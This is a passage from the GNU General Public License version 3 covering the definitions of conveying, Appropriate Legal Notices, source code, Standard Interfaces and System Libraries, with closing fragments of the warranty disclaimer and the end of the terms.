To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
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THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
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END OF TERMS AND CONDITIONS